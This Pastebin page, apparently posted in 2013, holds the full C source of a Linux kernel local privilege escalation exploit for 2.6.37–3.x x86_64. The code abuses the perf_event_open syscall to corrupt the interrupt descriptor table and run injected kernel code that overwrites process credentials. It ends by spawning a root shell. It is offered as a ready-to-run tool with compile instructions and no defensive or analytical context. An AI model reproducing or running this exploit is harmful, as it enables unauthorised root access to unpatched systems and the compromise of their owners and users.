Advertisement
Islam-Hacker

linux 2.6.37-3.x.x x86_64 localroot 2013 ./JM511

May 20th, 2013
532
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1. /*
  2. * linux 2.6.37-3.x.x x86_64
  3. * gcc-4.6 -O2 semtex.c && ./a.out
  4. * update may 2013
  5. * www.is-sec.com/vb/
  6. */
  7.  
  8. #define _GNU_SOURCE 1
  9. #include <stdint.h>
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <unistd.h>
  14. #include <sys/mman.h>
  15. #include <syscall.h>
  16. #include <stdint.h>
  17. #include <assert.h>
  18.  
  19. #define BASE 0x380000000
  20. #define SIZE 0x010000000
  21. #define KSIZE 0x2000000
  22. #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
  23.  
  24. void fuck() {
  25. int i,j,k;
  26. uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  27. uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  28. uint64_t kbase = ((uint64_t)current)>>36;
  29. uint32_t *fixptr = (void*) AB(1);
  30. *fixptr = -1;
  31.  
  32. for (i=0; i<4000; i+=4) {
  33. uint64_t *p = (void *)&current[i];
  34. uint32_t *t = (void*) p[0];
  35. if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
  36. for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
  37. if (((uint32_t*)uids)[k] != t[j+k]) goto next;
  38. for (i = 0; i < 8; i++) t[j+i] = 0;
  39. for (i = 0; i < 10; i++) t[j+9+i] = -1;
  40. return;
  41. next:; }
  42. }
  43. }
  44.  
  45. void sheep(uint32_t off) {
  46. uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  47. int fd = syscall(298, buf, 0, -1, -1, 0);
  48. assert(!close(fd));
  49. }
  50.  
  51.  
  52. int main() {
  53. uint64_t u,g,needle, kbase, *p; uint8_t *code;
  54. uint32_t *map, j = 5;
  55. int i;
  56. struct {
  57. uint16_t limit;
  58. uint64_t addr;
  59. } __attribute__((packed)) idt;
  60. assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  61. memset(map, 0, SIZE);
  62. sheep(-1); sheep(-2);
  63. for (i = 0; i < SIZE/4; i++) if (map[i]) {
  64. assert(map[i+1]);
  65. break;
  66. }
  67. assert(i<SIZE/4);
  68. asm ("sidt %0" : "=m" (idt));
  69. kbase = idt.addr & 0xff000000;
  70. u = getuid(); g = getgid();
  71. assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  72. memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  73. memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
  74. printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
  75. setresuid(u,u,u); setresgid(g,g,g);
  76. while (j--) {
  77. needle = AB(j+1);
  78. assert(p = memmem(code, 1024, &needle, 8));
  79. if (!p) continue;
  80. *p = j?((g<<32)|u):(idt.addr + 0x48);
  81. }
  82. sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  83. asm("int $0x4"); assert(!setuid(0));
  84. return execl("/bin/bash", "-sh", NULL);
  85. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement